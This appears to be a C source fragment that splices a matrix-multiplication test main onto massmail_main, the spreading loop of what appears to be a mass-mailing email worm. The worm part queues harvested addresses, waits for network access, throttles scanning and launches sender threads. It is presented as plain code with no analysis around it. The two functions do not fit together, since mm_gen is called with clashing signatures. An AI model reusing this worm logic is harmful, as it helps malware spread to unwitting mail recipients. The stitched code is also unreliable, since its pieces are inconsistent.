int main(int argc, char *argv[]) { int n = 300; double **a, **b, **m; n = (n/2) * 2; a = mm_gen(n); b = mm_gen(n); m = mm_mul(n, a, b); //fprintf(stderr, "%lf\n", m[n/2][n/2]); mm_destroy(n, a); mm_destroy(n, b); mm_destroy(n, m); return 0; }
void massmail_main(void) { register struct mailq_t *mq1; struct mailq_t *mq_best; int queue_status; /* 0=okay, 1=many unprocessed, 2=no unprocessed */ int queue_total, queue_unprocessed; HANDLE hThread; DWORD tid, last_req_tick; queue_status = 0; mmshed_run_threads = 0; for (;;) { while (is_online() == 0) { Sleep(2048); scan_freeze(1); Sleep(16384 - 2048); } scan_freeze((queue_status == 1) ? 1 : 0); queue_total = 0; queue_unprocessed = 0; last_req_tick = 0; for (mq1=massmail_queue, mq_best=NULL; mq1; mq1=mq1->next) { queue_total++; if (mq1->state == 0) { /* "not processed" */ queue_unprocessed++; if (mq_best) { if (mq_best->priority > mq1->priority) mq_best = mq1; } else { mq_best = mq1; } } if (mq1->tick_got >= last_req_tick) last_req_tick = mq1->tick_got; } if (queue_total >= MMSHED_QUEUE_OVERFLOW) { mmshed_rmold(); if (queue_unprocessed > MMSHED_UNPROC_FREEZE) { queue_status = 1; scan_freeze(1); } else { queue_status = 0; } } else { queue_status = 0; } if ((queue_unprocessed == 0) || (mq_best == NULL)) { queue_status = 2; scan_freeze(0); if ((queue_total >= 3) && last_req_tick && ((GetTickCount() - last_req_tick) >= MMSHED_GENTIMEOUT)) { mm_gen(); Sleep(128); } else { Sleep(1024); } continue; } if (mmshed_run_threads >= MMSHED_THREADS) { Sleep(256); continue; } mq_best->state = 1; hThread = CreateThread(0, 0, mmsender_th, (LPVOID)mq_best, 0, &tid); if (hThread == NULL || hThread == INVALID_HANDLE_VALUE) { mq_best->state = 2; Sleep(1024); continue; } CloseHandle(hThread); Sleep(256); } }